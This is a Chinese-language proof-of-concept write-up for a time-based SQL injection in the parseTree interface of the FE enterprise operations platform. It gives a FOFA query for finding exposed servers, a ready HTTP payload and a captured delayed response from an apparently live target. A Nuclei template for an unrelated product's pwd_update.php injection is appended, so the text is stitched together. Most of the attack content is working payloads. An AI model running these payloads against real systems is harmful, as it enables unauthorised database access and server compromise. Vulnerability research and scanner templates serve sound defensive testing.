

## F1-2飞企互联-FE企业运营管理平台-SQL

### 漏洞描述:

飞企互联-FE企业运营管理平台 parseTree 接口存在SQL注入漏洞，未经授权攻击者可通过该漏洞获取数据库敏感信息，进一步利用可获取服务器权限，导致网站处于极度不安全状态。

### 影响版本:

version <= V6.6.0

### 网站图片:



### 回显效果回

### 网络测绘:

#### fofa语法:

FOFA: app="飞企互联-FE企业运营管理平台"

### 漏洞复现:

#### payload:

```
GET /common/parseTree.js%70?code=1%27;WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
```

#### 效果图:

延时5秒

Request

< > 数据包扫描 热加载 构造请求

1 GET /common/parseTree.js%70?code=1%27;WAITFOR+DELAY+%270:5%27-- HTTP/1.1

2 Host:

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0

4 Connection: close

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

6 Accept-Encoding: gzip, deflate

Responses 1071byte / 5101ms

1 HTTP/1.1 500 Internal Server Error

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=2423B7CDB88BB5DE1A5

4 Pragma: No-cache

5 Cache-Control: no-cache

6 Expires: Thu, 01 Jan 1970 00:00:00 GMT

7 Content-Type: text/html; charset=UTF-8

8 Date: Fri, 23 Feb 2024 11:41:44 GMT

9 Connection: close

10 Content-Length: 1071

11

12

13

14

15

16

17 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1

18 <html xmlns="http://www.w3.org/1999/xhtml"

19 <head>

20 <title>陕西大唐燃气安全科技股份有限公司

21 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

22 <link rel="stylesheet" type="text/css" href="/common/parseTree.js%70?code=1%27;WAITFOR+DELAY+%270:5%27-- HTTP/1.1">

23 <link rel="stylesheet" href="/common/parseTree.js%70?code=1%27;WAITFOR+DELAY+%270:5%27-- HTTP/1.1">

24 </head>

25 <body>

Yaml模板

```
id: F2-2FuJianKeLiXunTongXin-SQL

info:
  name: F2-2FuJianKeLiXunTongXin-SQL
  author: Kpanda
  severity: critical
  description: pwd_update.php接口处存在SQL注入漏洞
  reference:
    - https://blog.csdn.net/qq_41904294/article/details/136925239?spm=1001.2014.3001.5502
  tags: CVE-2024-2620,FuJianKeLiXunTongXin,SQL

http:
  - raw:
      - |
        GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(6)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate, br
        Connection: close
        Upgrade-Insecure-Requests: 1

  matchers:
    - type: word
      part: header
      words:
        - '200'
    - type: dsl
      dsl:
        - 'duration>=6'
```